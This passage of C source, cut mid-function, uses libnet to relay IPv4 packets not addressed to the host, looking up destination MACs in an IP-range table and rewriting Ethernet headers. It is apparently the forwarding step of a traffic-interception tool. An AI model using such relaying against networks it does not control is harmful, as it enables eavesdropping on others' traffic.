	u_char *ptr;
	int i;
	u_char first_octet, last_octet, packet_last_octet;
	struct ipaddr_array *temp_ptr;
	libnet_ptag_t ether_ptag = LIBNET_PTAG_INITIALIZER;

	/* break packet into workable components */
	ether = (struct libnet_ethernet_hdr *) pkt;
	body = (struct libnet_ipv4_hdr *)(pkt + LIBNET_802_3_H);

	/* we're pretty sure that the packet is not destined for me and is
	 * an IP packet and should be relayed or we wouldn't be here! */
	memcpy((void *)&ip, (void *)&(body->ip_dst), 4);

	/* locate ip address in ip_hash */
	for (i=0; i<brian_context->ip_hash_len; i++)
	{
		if (memcmp((void *)&((brian_context->ip_hash[i])->ipaddr), (void *)&ip, 3) == 0)
		{
			/* first three octets match */
			first_octet = ((u_char *)&((brian_context->ip_hash[i])->ipaddr))[3];
			last_octet = (brian_context->ip_hash[i])->range_len + first_octet - 1;
			packet_last_octet = ((u_char *)&ip)[3];
			if ((packet_last_octet >= first_octet) && (packet_last_octet <= last_octet))
			{
				/* it's in this range */
				temp_ptr = (brian_context->ip_hash[i]) + (packet_last_octet - first_octet);
				memcpy(mac, temp_ptr->macaddr, 6);
				break;
			}
		}
	}

	/* see if we found a mac address */
	if (memcmp(mac, empty_mac, 6) == 0)
	{
		/* did not locate mac address so copy in gateway mac */
		memcpy(mac, brian_context->gateway_mac, 6);
	}

	/* check we have a valid mac address */
	if (memcmp(mac, empty_mac, 6) != 0)
	{

		/* relay this packet */
		memcpy(ether->ether_dhost, mac, 6);
		memcpy(ether->ether_shost, brian_context->my_mac, 6);
		ether_ptag = libnet_build_ethernet(
			mac,
			ether->ether_shost, 
			ETHERTYPE_IP,
			(u_char *)body,
			header->len - 14,
			brian_context->libnet_context,
			ether_ptag);
		if (libnet_write(brian_context->libnet_context) == -1)
		{
			printf("libnet_write failed\n");
			/* don't exit at this point */
		}
		libnet_clear_packet(brian_context->libnet_context);
	}
}

